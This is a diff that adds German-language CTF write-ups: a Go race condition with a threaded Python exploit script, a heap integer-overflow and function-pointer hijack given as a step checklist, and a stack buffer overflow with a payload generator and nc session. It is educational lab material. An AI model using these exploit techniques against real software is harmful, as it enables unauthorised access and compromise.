||||||
|
Durch die Verwendung des `?`-Platzhalters stellt der Datenbanktreiber sicher, dass die Eingabe strikt als String behandelt wird, was es für den Benutzer unmöglich macht, "auszubrechen" und SQL-Befehle zu injizieren.
|
||||||
|
|
||||||
|
Frohes Hacken!
|
||||||
152
de/shared_state_of_mind.md
Normal file
152
de/shared_state_of_mind.md
Normal file
@@ -0,0 +1,152 @@
|
|||||||
|
# Shared State of Mind
|
||||||
|
|
||||||
|
Willkommen zum Write-up für **Shared State of Mind**. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist.
|
||||||
|
|
||||||
|
Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei `flag.txt` zu lesen, die durch eine Sicherheitsprüfung geschützt ist.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Erkundung
|
||||||
|
|
||||||
|
Die Challenge stellt eine URL und ein herunterladbares Archiv `shared_state_of_mind.tar.xz` bereit.
|
||||||
|
Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit `?file=...` anfordern.
|
||||||
|
|
||||||
|
Wenn wir `?file=worker.go` versuchen, erhalten wir den Quellcode.
|
||||||
|
Wenn wir `?file=flag.txt` versuchen, erhalten wir:
|
||||||
|
`Security Check Failed: Forbidden`
|
||||||
|
|
||||||
|
## 2. Quellcode-Analyse
|
||||||
|
|
||||||
|
Das Archiv enthält zwei wichtige Go-Dateien: `gateway.go` und `worker.go`.
|
||||||
|
|
||||||
|
**`gateway.go`**:
|
||||||
|
Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten `./worker`-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist.
|
||||||
|
|
||||||
|
**`worker.go`**:
|
||||||
|
Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt:
|
||||||
|
|
||||||
|
```go
|
||||||
|
// GLOBALE VARIABLE
|
||||||
|
var checkPassed bool
|
||||||
|
|
||||||
|
func handler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
filename := r.URL.Query().Get("file")
|
||||||
|
|
||||||
|
// 1. Sicherheitsprüfung
|
||||||
|
if strings.Contains(filename, "flag") {
|
||||||
|
checkPassed = false
|
||||||
|
} else {
|
||||||
|
checkPassed = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Logging (simuliert Verzögerung)
|
||||||
|
logAccess(filename)
|
||||||
|
|
||||||
|
// 3. Datei ausliefern
|
||||||
|
if checkPassed {
|
||||||
|
content, _ := ioutil.ReadFile(filename)
|
||||||
|
w.Write(content)
|
||||||
|
} else {
|
||||||
|
http.Error(w, "Forbidden", 403)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Die Schwachstelle: Race Condition
|
||||||
|
|
||||||
|
Die Variable `checkPassed` ist als **globale Variable** auf Paketebene definiert.
|
||||||
|
In Go erstellt `http.ListenAndServe` eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die *selbe* `checkPassed`-Variable.
|
||||||
|
|
||||||
|
Dies erzeugt eine **Race Condition** (spezifisch ein Time-of-Check to Time-of-Use Problem):
|
||||||
|
|
||||||
|
1. **Anfrage A (Sicher)** kommt für `worker.go` rein. Sie setzt `checkPassed = true`.
|
||||||
|
2. **Anfrage B (Bösartig)** kommt für `flag.txt` rein. Sie setzt `checkPassed = false`.
|
||||||
|
3. **Anfrage A** pausiert kurz (z.B. während `logAccess` oder Kontextwechsel).
|
||||||
|
4. **Anfrage B** pausiert kurz.
|
||||||
|
5. **Anfrage A** setzt fort und überschreibt potenziell `checkPassed` zurück auf `true`, *nachdem* Anfrage B es auf false gesetzt hatte, aber *bevor* Anfrage B ihre finale Prüfung durchführt.
|
||||||
|
|
||||||
|
Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile `if checkPassed` genau in dem Moment, in dem Anfrage A die globale Variable auf `true` gesetzt hat.
|
||||||
|
|
||||||
|
## 4. Ausnutzungsstrategie
|
||||||
|
|
||||||
|
Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des **gleichen Session-Cookies** (damit sie denselben Worker-Prozess treffen):
|
||||||
|
|
||||||
|
1. **Sichere Anfragen:** Wiederholt nach einer erlaubten Datei fragen (z.B. `?file=worker.go`). Dies versucht ständig, `checkPassed = true` zu setzen.
|
||||||
|
2. **Bösartige Anfragen:** Wiederholt nach `?file=flag.txt` fragen. Dies versucht, die Flagge zu lesen.
|
||||||
|
|
||||||
|
Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen.
|
||||||
|
|
||||||
|
### Exploit-Skript
|
||||||
|
|
||||||
|
```python
|
||||||
|
import threading
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
# --- ZIEL-KONFIGURATION ---
|
||||||
|
TARGET_URL = "http://challenge-url:1320/"
|
||||||
|
|
||||||
|
print("[*] Initializing Session...")
|
||||||
|
s = requests.Session()
|
||||||
|
try:
|
||||||
|
s.get(TARGET_URL)
|
||||||
|
except requests.exceptions.ConnectionError:
|
||||||
|
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if 'ctf_session' not in s.cookies:
|
||||||
|
print("[-] Failed to get session cookie")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[+] Session ID: {s.cookies['ctf_session']}")
|
||||||
|
cookie = {'ctf_session': s.cookies['ctf_session']}
|
||||||
|
|
||||||
|
def do_safe():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def do_exploit():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
|
||||||
|
if "{flag: " in r.text:
|
||||||
|
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
|
||||||
|
sys.exit(0)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
print("[*] Starting threads... (Press Ctrl+C to stop)")
|
||||||
|
|
||||||
|
# Hohes Volumen an sicheren Threads, um den Schalter umzulegen
|
||||||
|
for i in range(10):
|
||||||
|
t = threading.Thread(target=do_safe)
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
# Exploit-Thread
|
||||||
|
for i in range(1):
|
||||||
|
t = threading.Thread(target=do_exploit)
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
time.sleep(1)
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5. Die Lösung
|
||||||
|
|
||||||
|
Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" – durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf `true` gesetzt hat.
|
||||||
|
|
||||||
|
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
|
||||||
|
|
||||||
|
## Gelernte Lektionen
|
||||||
|
|
||||||
|
* **Vermeide globalen Zustand:** Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext.
|
||||||
|
* **Nebenläufigkeit ist schwer:** Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird.
|
||||||
|
* **Threadsicherheit:** Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren.
|
||||||
|
|
||||||
|
Frohes Hacken!
|
||||||
202
de/slot_machine.md
Normal file
202
de/slot_machine.md
Normal file
@@ -0,0 +1,202 @@
|
|||||||
|
# Slot Machine
|
||||||
|
|
||||||
|
Hallo! Bereit für ein wenig Heap-Exploitation? Heute schauen wir uns **Slot Machine** an, eine Pwn-Challenge, die auf den ersten Blick einfach erscheint, aber eine raffinierte Schwachstelle verbirgt.
|
||||||
|
|
||||||
|
Beim ersten Ausführen des Programms wirst du vom "SecureSlot Storage Manager" begrüßt. Es ist ein einfaches Tool, mit dem man "Slots" zum Speichern von Daten initialisieren (`init`), lesen (`read`), beschreiben (`write`) und zerstören (`destroy`) kann.
|
||||||
|
|
||||||
|
Die Herausforderung: Wir haben nur ein **gestripptes Binary**. Kein Quellcode, keine Symbole. Das bedeutet, unser erster Schritt ist der Griff zum treuen Dekompiler – Ghidra –, um die Erkundung zu starten.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Schritt 1: Erkundung (Die "Black Box")
|
||||||
|
|
||||||
|
Da wir mit einem gestrippten Binary arbeiten, müssen wir die Programmlogik selbst kartografieren. Ein guter erster Schritt bei jeder Pwn-Challenge ist die Suche nach interessanten Zeichenketten (Strings).
|
||||||
|
|
||||||
|
Suchen wir in Ghidra nach "flag", finden wir sofort einen Treffer:
|
||||||
|
`[*] Congratulations! Here is your flag: %s
|
||||||
|
`
|
||||||
|
|
||||||
|
Dieser String wird in einer Funktion an der Adresse `0x109d74` (`FUN_00109d74`) referenziert:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_00109d74(void)
|
||||||
|
{
|
||||||
|
undefined8 uVar1;
|
||||||
|
|
||||||
|
FUN_00114310("[*] Congratulations! Here is your flag: %s
|
||||||
|
",&DAT_001f41e0);
|
||||||
|
uVar1 = 0;
|
||||||
|
FUN_001137e0();
|
||||||
|
FUN_00130be0(uVar1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Dies ist unsere "Win"-Bedingung – wenn wir den Programmfluss auf diese Adresse umleiten können, erhalten wir das Flag!
|
||||||
|
|
||||||
|
Schauen wir uns nun an, wie der Rest des Programms funktioniert. Wenn wir der Logik vom Einstiegspunkt bis zur `main`-Funktion (bei `0x10a393`) folgen, finden wir das Herzstück des "SecureSlot Manager": eine menügesteuerte Schleife.
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Dekompilierte Main-Schleife (FUN_0010a393)
|
||||||
|
undefined8 FUN_0010a393(void)
|
||||||
|
{
|
||||||
|
// ... Setup-Code ...
|
||||||
|
FUN_00123090("--- SecureSlot Storage Manager ---");
|
||||||
|
do {
|
||||||
|
while( true ) {
|
||||||
|
while( true ) {
|
||||||
|
while( true ) {
|
||||||
|
while( true ) {
|
||||||
|
FUN_00114310("
|
||||||
|
COMMANDS: init, read, write, destroy, quit
|
||||||
|
> ");
|
||||||
|
FUN_001144a0(&DAT_001c01c7,local_1a);
|
||||||
|
if (local_1a[0] != 'i') break;
|
||||||
|
FUN_00109dc3(); // Dies ist cmd_init
|
||||||
|
}
|
||||||
|
if (local_1a[0] != 'r') break;
|
||||||
|
FUN_00109f95(); // Dies ist cmd_read
|
||||||
|
}
|
||||||
|
if (local_1a[0] != 'w') break;
|
||||||
|
FUN_0010a0d1(); // Dies ist cmd_write
|
||||||
|
}
|
||||||
|
if (local_1a[0] != 'd') break;
|
||||||
|
FUN_0010a238(); // Dies ist cmd_destroy
|
||||||
|
}
|
||||||
|
} while (local_1a[0] != 'q');
|
||||||
|
// ... Cleanup-Code ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Schritt 2: Reverse Engineering des "Slots"
|
||||||
|
|
||||||
|
Um dies auszunutzen, müssen wir verstehen, wie die "Slots" verwaltet werden. Schauen wir uns die `init`-Funktion an (`FUN_00109dc3`):
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_00109dc3(void)
|
||||||
|
{
|
||||||
|
int iVar1;
|
||||||
|
undefined8 uVar2;
|
||||||
|
long in_FS_OFFSET;
|
||||||
|
int local_34;
|
||||||
|
long local_30;
|
||||||
|
long local_28;
|
||||||
|
long local_20;
|
||||||
|
|
||||||
|
local_20 = *(long *)(in_FS_OFFSET + 0x28);
|
||||||
|
FUN_00114310("Slot Index: ");
|
||||||
|
FUN_001144a0(&DAT_001c00b1,&local_34);
|
||||||
|
FUN_00114310("Element Count: ");
|
||||||
|
FUN_001144a0(&DAT_001c00c4,&local_30);
|
||||||
|
iVar1 = local_34;
|
||||||
|
if ((local_34 < 0) || (0xb < local_34)) {
|
||||||
|
FUN_00123090("Invalid index");
|
||||||
|
}
|
||||||
|
else if (*(long *)(&DAT_001f4220 + (long)local_34 * 8) == 0) {
|
||||||
|
local_28 = (local_30 + 2) * 8;
|
||||||
|
uVar2 = FUN_001308a0(local_28);
|
||||||
|
*(undefined8 *)(&DAT_001f4220 + (long)iVar1 * 8) = uVar2;
|
||||||
|
thunk_FUN_00133b80(*(undefined8 *)(&DAT_001f4220 + (long)local_34 * 8),0,local_28);
|
||||||
|
if (*(long *)(&DAT_001f4220 + (long)local_34 * 8) == 0) {
|
||||||
|
FUN_00123090("Allocation failed");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
**(long **)(&DAT_001f4220 + (long)local_34 * 8) = local_30;
|
||||||
|
*(code **)(*(long *)(&DAT_001f4220 + (long)local_34 * 8) + 8) = FUN_00109da4;
|
||||||
|
FUN_00114310("Allocated slot %d
|
||||||
|
",local_34);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
FUN_00123090("Slot already in use");
|
||||||
|
}
|
||||||
|
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||||
|
/* WARNING: Subroutine does not return */
|
||||||
|
FUN_001641a0();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Woher kennen wir das Struct-Layout?**
|
||||||
|
Indem wir beobachten, wie das Programm mit dem Speicher interagiert, den `FUN_001308a0` (wir können annehmen, dass dies `malloc` ist) zurückgibt:
|
||||||
|
1. `**(long **)(&DAT_001f4220 + (long)local_34 * 8) = local_30;` -> Die ersten 8 Bytes des reservierten Puffers speichern `local_30` (unseren "Element Count").
|
||||||
|
2. `*(code **)(*(long *)(&DAT_001f4220 + (long)local_34 * 8) + 8) = FUN_00109da4;` -> Die nächsten 8 Bytes (Offset 8) speichern einen Funktionszeiger (`FUN_00109da4`).
|
||||||
|
3. Wenn man die `read`- und `write`-Funktionen analysiert, sieht man, dass sie auf Daten zugreifen, die bei einem Offset von 16 Bytes beginnen.
|
||||||
|
|
||||||
|
Dies ermöglicht es uns, die `slot_t`-Struktur zu rekonstruieren:
|
||||||
|
```c
|
||||||
|
typedef struct {
|
||||||
|
uint64_t count; // Offset 0 (local_30)
|
||||||
|
void (*cleanup)(void*); // Offset 8 (FUN_00109da4)
|
||||||
|
int64_t data[]; // Offset 16 (wo Benutzer lesen/schreiben)
|
||||||
|
} slot_t;
|
||||||
|
```
|
||||||
|
|
||||||
|
Wenn du den "destroy"-Befehl aufrufst, ruft das Programm diesen Funktionszeiger bei Offset 8 auf. Wenn wir diesen überschreiben können, kontrollieren wir die Ausführung!
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Schritt 3: Den "Jackpot" finden (Die Schwachstelle)
|
||||||
|
|
||||||
|
In `FUN_00109dc3` beachte, wie die Allokationsgröße `local_28` berechnet wird: `local_28 = (local_30 + 2) * 8;`. Wenn wir eine massiv große Zahl für `local_30` angeben, kommt es zu einem **Integer Overflow**.
|
||||||
|
|
||||||
|
Geben wir `2305843009213693952` ein (was $2^{61}$ entspricht), sieht die Rechnung so aus:
|
||||||
|
$(2^{61} + 2)\times8 = 2^{64} + 16$.
|
||||||
|
|
||||||
|
In einem 64-Bit-System läuft $2^{64}$ auf $0$ zurück. Das Programm ruft also tatsächlich `malloc(16)` auf. Der bei Offset 0 gespeicherte `count` ist jedoch immer noch diese riesige Zahl! Das gibt uns einen "Slot", der glaubt, Milliarden von Einträgen zu haben, aber tatsächlich nur über 16 Bytes physischen Heap-Speicher verfügt.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Schritt 4: Out-of-Bounds & ASLR-Bypass
|
||||||
|
|
||||||
|
Da `count` riesig ist, werden uns die Befehle `read` und `write` nicht daran hindern, auf Speicherbereiche zuzugreifen, die weit über die allokierten 16 Bytes hinausgehen. Wir haben einen **Out-of-Bounds (OOB) Zugriff**.
|
||||||
|
|
||||||
|
Aber es gibt einen Haken: **ASLR** ist aktiviert. Wir kennen die absolute Adresse von `print_flag` nicht. Wir benötigen ein Datenleck (Leak).
|
||||||
|
|
||||||
|
1. **Initialisiere Slot 0** mit unserer Overflow-Größe (`2305843009213693952`). Er erhält einen winzigen 16-Byte-Block.
|
||||||
|
2. **Initialisiere Slot 1** mit einer normalen Größe (z. B. `1`). Der Heap-Allokator wird den Block für Slot 1 unmittelbar nach Slot 0 platzieren.
|
||||||
|
|
||||||
|
Da Slot 0 nur 16 Bytes reserviert bekommen hat, aber glaubt, riesig zu sein, überschneidet sich sein "data"-Bereich (beginnend bei Offset 16) nun mit dem nächsten Block im Speicher (Slot 1).
|
||||||
|
|
||||||
|
| Index (Slot 0) | Offset | Inhalt | Beschreibung |
|
||||||
|
| :--- | :--- | :--- | :--- |
|
||||||
|
| - | 0x00 | `count` | Slot 0 massive Größe |
|
||||||
|
| - | 0x08 | `cleanup` | Slot 0 Cleanup-Zeiger |
|
||||||
|
| **Eintrag 0** | 0x10 | `prev_size` | Slot 1 Heap-Metadaten |
|
||||||
|
| **Eintrag 1** | 0x18 | `size` | Slot 1 Heap-Metadaten |
|
||||||
|
| **Eintrag 2** | 0x20 | `count` | Slot 1 `count`-Feld |
|
||||||
|
| **Eintrag 3** | 0x28 | `cleanup` | **Slot 1 Cleanup-Zeiger (Ziel!)** |
|
||||||
|
|
||||||
|
3. **Die Adresse leaken:** Lies `Slot 0` bei `Eintrag Index 3`.
|
||||||
|
* Wie du aus der Tabelle ersehen kannst, zeigt `Eintrag 3` von Slot 0 genau auf den `cleanup`-Funktionszeiger von Slot 1.
|
||||||
|
* Durch das Lesen dieses Werts erhalten wir die absolute Adresse von `default_destroy` (oder `FUN_00109da4`) und umgehen so ASLR!
|
||||||
|
|
||||||
|
Durch das Auslesen dieses Werts wissen wir nun, wo das Binary im Speicher geladen wurde.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Schritt 5: Der finale Schlag
|
||||||
|
|
||||||
|
Da wir nun die geleakte Adresse der Standard-Cleanup-Funktion (`0x109da4`) haben, müssen wir nur noch den Offset zu `print_flag` (`0x109d74`) berechnen.
|
||||||
|
|
||||||
|
Die Differenz beträgt `0x30`. Wir nehmen also unsere geleakte Adresse, subtrahieren `0x30` und haben die exakte Adresse der Flag-Funktion.
|
||||||
|
|
||||||
|
1. **Die Adresse schreiben:** Nutze den OOB-Schreibzugriff auf `Slot 0` (Eintrag 3), um den Cleanup-Zeiger von `Slot 1` mit unserer berechneten `print_flag`-Adresse zu überschreiben.
|
||||||
|
2. **Den Sieg auslösen:** Rufe den `destroy`-Befehl für **Slot 1** auf.
|
||||||
|
|
||||||
|
Anstatt den Speicher freizugeben, wird das Programm bereitwillig zu `print_flag` springen und dir den Preis überreichen!
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Zusammenfassende Checkliste
|
||||||
|
- [ ] **Initialisiere Slot 0:** Count `2305843009213693952` (setzt Größe auf 16 zurück).
|
||||||
|
- [ ] **Initialisiere Slot 1:** Count `1`.
|
||||||
|
- [ ] **Lies Slot 0, Eintrag 3:** Dies leakt die `default_destroy`-Adresse.
|
||||||
|
- [ ] **Berechne:** `Ziel = geleakte_Adresse - 0x30`.
|
||||||
|
- [ ] **Schreibe Slot 0, Eintrag 3:** Schreibe die `Ziel`-Adresse.
|
||||||
|
- [ ] **Zerstöre Slot 1:** Erfolg!
|
||||||
|
|
||||||
|
Viel Spaß beim Hacken! Denk daran: Manchmal entstehen die größten Strukturen aus den kleinsten Allokationen.
|
||||||
147
de/smash_me.md
Normal file
147
de/smash_me.md
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
# Smash Me
|
||||||
|
`smashMe` ist eine klassische Binary-Exploitation-Challenge, die Spieler in stackbasierte Buffer Overflows einführt. Die Challenge bietet ein statisch gelinktes 64-Bit-ELF-Binary und den dazugehörigen Quellcode. Die Spieler müssen eine Schwachstelle in einer benutzerdefinierten Base64-Dekodierung finden und den Programmfluss auf eine "Win"-Funktion umleiten, die das Flag ausgibt.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
### Sicherheitsmechanismen des Binarys
|
||||||
|
Wir können die Sicherheitsmerkmale des Binarys mit Standard-Kommandozeilen-Tools wie `file` und `readelf` analysieren.
|
||||||
|
|
||||||
|
#### 1. Statisches Linken und No-PIE
|
||||||
|
Mit dem Befehl `file`:
|
||||||
|
```bash
|
||||||
|
$ file smashMe
|
||||||
|
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
|
||||||
|
```
|
||||||
|
- **Statically linked**: Alle notwendigen Bibliotheken (wie die `libc`) sind im Binary enthalten.
|
||||||
|
- **LSB executable**: Da dort "executable" und nicht "shared object" steht, ist **PIE (Position Independent Executable)** deaktiviert. Das Binary wird an einer festen Basisadresse geladen (`0x400000`).
|
||||||
|
|
||||||
|
#### 2. NX (No-Execute)
|
||||||
|
Mit `readelf` prüfen wir die Stack-Berechtigungen:
|
||||||
|
```bash
|
||||||
|
$ readelf -l smashMe | grep -A 1 STACK
|
||||||
|
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||||
|
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||||
|
```
|
||||||
|
- Das Flag `RWE` (Read, Write, Execute) zeigt an, dass der Stack ausführbar ist. **NX** ist deaktiviert.
|
||||||
|
|
||||||
|
#### 3. Stack Canaries
|
||||||
|
Obwohl eine Suche nach Symbolen `__stack_chk_fail` (aufgrund der statisch gelinkten `libc`) anzeigen könnte, können wir überprüfen, ob die Zielfunktion dies nutzt, indem wir `core_loop` disassemblieren:
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
|
||||||
|
0000000000401d83 <core_loop>:
|
||||||
|
...
|
||||||
|
401d8f: 48 83 ec 50 sub rsp,0x50
|
||||||
|
...
|
||||||
|
```
|
||||||
|
Das Fehlen von Referenzen auf `fs:[0x28]` oder Aufrufen von `__stack_chk_fail` im Funktionsprolog/-epilog bestätigt, dass für diese Funktion keine **Stack Canaries** aktiviert sind.
|
||||||
|
|
||||||
|
Diese Einstellungen machen das Binary sehr anfällig für traditionelle Stack-Smashing-Techniken.
|
||||||
|
|
||||||
|
### Quellcode-Analyse (`vuln.c`)
|
||||||
|
Das Programm liest einen Base64-String vom Benutzer, dekodiert ihn und gibt das Ergebnis aus. Die Kernlogik befindet sich in `core_loop()`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void core_loop() {
|
||||||
|
unsigned char decoded[64];
|
||||||
|
|
||||||
|
// Base64-Eingabe anfordern
|
||||||
|
printf("Give me a base64 string: ");
|
||||||
|
scanf("%s", input);
|
||||||
|
|
||||||
|
// Dekodieren
|
||||||
|
int result = base64_decode(input, decoded);
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Funktion `base64_decode` dekodiert Daten aus dem globalen `input`-Puffer in den lokalen `decoded`-Puffer. Dabei fehlt jedoch jegliche Überprüfung der Grenzen des Zielpuffers:
|
||||||
|
|
||||||
|
```c
|
||||||
|
int base64_decode(const char *data, unsigned char *output_buffer) {
|
||||||
|
// ...
|
||||||
|
for (i = 0, j = 0; i < input_length;) {
|
||||||
|
// ... (Dekodierungslogik)
|
||||||
|
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
|
||||||
|
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
|
||||||
|
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Während `decoded` nur 64 Bytes groß ist, kann `input` bis zu 2048 Bytes aufnehmen, was einen erheblichen Überlauf des Stackframes ermöglicht.
|
||||||
|
|
||||||
|
## Schwachstellenanalyse
|
||||||
|
Die Schwachstelle ist ein **stackbasierter Buffer Overflow**. Durch die Angabe eines langen Base64-kodierten Strings können wir lokale Variablen, den gespeicherten Frame-Pointer (RBP) und die gespeicherte Rücksprungadresse auf dem Stack überschreiben.
|
||||||
|
|
||||||
|
Das Programm enthält eine "Win"-Funktion namens `print_flag()`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void print_flag() {
|
||||||
|
printf("[!!!] Access Granted. The Return Address was modified.
|
||||||
|
[*] FLAG: %s
|
||||||
|
", global_flag);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Unser Ziel ist es, den Kontrollfluss zu kapern, indem wir die Rücksprungadresse von `core_loop()` mit der Adresse von `print_flag()` überschreiben.
|
||||||
|
|
||||||
|
## Exploitation-Strategie
|
||||||
|
|
||||||
|
### 1. Die Zieladresse finden
|
||||||
|
Da PIE deaktiviert ist, ist die Adresse von `print_flag` konstant. Mit `nm` oder `objdump`:
|
||||||
|
```bash
|
||||||
|
nm smashMe | grep print_flag
|
||||||
|
# Ausgabe: 0000000000401b58 T print_flag
|
||||||
|
```
|
||||||
|
Um potenzielle Probleme mit der Stack-Ausrichtung zu vermeiden (wie z. B. der Befehl `movaps`, der einen auf 16 Byte ausgerichteten Stack erfordert), können wir zu `0x401b60` springen, was kurz nach dem Funktionsprolog liegt.
|
||||||
|
|
||||||
|
### 2. Den Offset bestimmen
|
||||||
|
Wir müssen die genaue Distanz vom Anfang des `decoded`-Puffers bis zur Rücksprungadresse bestimmen.
|
||||||
|
- Die Funktion `core_loop` richtet den Stack auf 16 Bytes aus (`and rsp, 0xfffffffffffffff0`) und subtrahiert dann `0x50` (80 Bytes).
|
||||||
|
- Der `decoded`-Puffer befindet sich am aktuellen `rsp`.
|
||||||
|
- Aufgrund der Stack-Ausrichtung und der folgenden push/sub-Operationen beträgt die Distanz zur gespeicherten Rücksprungadresse **88 Bytes** (80 Bytes für den Puffer/Ausrichtung + 8 Bytes für das gespeicherte RBP).
|
||||||
|
|
||||||
|
Gesamt-Offset zur Rücksprungadresse: **88 Bytes**.
|
||||||
|
|
||||||
|
### 3. Den Payload konstruieren
|
||||||
|
Struktur des Payloads:
|
||||||
|
1. **80 Bytes** beliebiges Padding (z. B. 'A's).
|
||||||
|
2. **8 Bytes**, um das gespeicherte RBP zu überschreiben (z. B. 'B's).
|
||||||
|
3. **8 Bytes** mit der Adresse `0x401b60` (Little-Endian).
|
||||||
|
|
||||||
|
Der fertige Roh-Payload wird dann Base64-kodiert, um den Eingabeanforderungen des Programms zu entsprechen.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Das folgende Python-Skript generiert den Exploit:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import struct
|
||||||
|
import base64
|
||||||
|
|
||||||
|
# Zieladresse von print_flag (Prolog überspringen)
|
||||||
|
win_addr = struct.pack('<Q', 0x401b60)
|
||||||
|
|
||||||
|
# 80 Bytes Padding + 8 Bytes gespeichertes RBP + 8 Bytes Rücksprungadresse
|
||||||
|
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
|
||||||
|
|
||||||
|
# Als Base64 kodieren, wie vom Programm erwartet
|
||||||
|
print(base64.b64encode(raw_payload).decode())
|
||||||
|
```
|
||||||
|
|
||||||
|
Das Ausführen des Skripts ergibt den Payload:
|
||||||
|
`QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA`
|
||||||
|
|
||||||
|
Ausführen des Exploits gegen das Ziel:
|
||||||
|
```bash
|
||||||
|
$ nc <host> 1349
|
||||||
|
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
|
||||||
|
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
|
||||||
|
[!!!] Access Granted. The Return Address was modified.
|
||||||
|
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Fazit
|
||||||
|
`smashMe` dient als grundlegende Übung zum Identifizieren und Ausnutzen von stackbasierten Overflows. Es verdeutlicht, dass selbst wenn Daten transformiert werden (z. B. via Base64), eine unsachgemäße Behandlung von Pufferlängen zur vollständigen Kompromittierung des Systems führen kann.
|
